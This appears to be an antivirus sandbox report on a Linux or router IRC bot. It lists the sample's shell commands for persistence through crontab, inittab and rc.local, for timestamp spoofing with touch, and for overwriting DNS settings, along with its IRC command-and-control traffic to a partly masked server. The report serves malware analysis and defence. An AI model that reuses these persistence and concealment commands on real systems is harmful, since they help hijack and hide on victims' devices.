Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/inittab
- /etc/rc.local
Malicious functions:
Launches itself as a daemon
Modifies router settings:
- /bin/nvram
Launches processes:
- sh -c echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &
- sh -c chmod 700 <SAMPLE_FULL_PATH> > /dev/null 2>&1 &
- chmod 700 <SAMPLE_FULL_PATH>
- sh -c touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- sh -c (crontab -l | grep -v \"<SAMPLE_FULL_PATH>\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x00846930886) > /dev/null 2>&1
- crontab -l
- grep -v no cron
- grep -v <SAMPLE_FULL_PATH>
- grep -v lesshts/run.sh
- sh -c echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\" >> /var/run/.x00846930886
- sh -c crontab /var/run/.x00846930886
- crontab /var/run/.x00846930886
- sh -c rm -rf /var/run/.x00846930886
- rm -rf /var/run/.x00846930886
- sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
- cat /etc/inittab
- sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
- sh -c cat /etc/inittab2 > /etc/inittab
- cat /etc/inittab2
- sh -c rm -rf /etc/inittab2
- rm -rf /etc/inittab2
- sh -c touch -acmr /bin/ls /etc/inittab
- touch -acmr /bin/ls /etc/inittab
- sh -c /bin/uname -n
- sh -c nvram get router_name
- /bin/uname -n
Performs operations with the file system:
Modifies file access rights:
- <SAMPLE_FULL_PATH>
- /var/spool/cron/crontabs/tmp.mU04p8
Creates or modifies files:
- /etc/resolv.conf
- /var/run/.x00846930886
- /run/.x00846930886
- /var/spool/cron/crontabs/tmp.mU04p8
- /etc/inittab2
Deletes files:
- /var/run/.x00846930886
- /etc/inittab2
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:61003
Establishes connection:
- 66.##.190.236:9090
Connects to the following servers over the IRC protocol:
- Server: 66.##.190.236; Command: NICK Mps|0|301820|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: PONG :9FC0CFA2\n
- Server: 66.##.190.236; Command: NICK Mps|0|957145|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: PONG :10AF16E8\n
- Server: 66.##.190.236; Command: NICK Mps|0|370192|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: PONG :3F2A44C5\n
- Server: 66.##.190.236; Command: NICK Mps|0|293308|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: PONG :99347E27\n
- Server: 66.##.190.236; Command: NICK Mps|0|515290|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|433291|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|258629|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|207509|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|068492|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|916230|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|306465|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|936342|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|436503|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|044871|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|925213|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|978723|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|778213|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|275221|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|812936|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|588377|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|020689|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|035192|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|123046|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|631319|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|978880|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|782619|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|900112|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|490221|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|410298|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|793367|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|657766|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|609181|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|137459|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|383968|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|162900|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|753264|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|468686|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|244419|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
- Server: 66.##.190.236; Command: NICK Mps|0|888931|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
Other:
Collects OS information
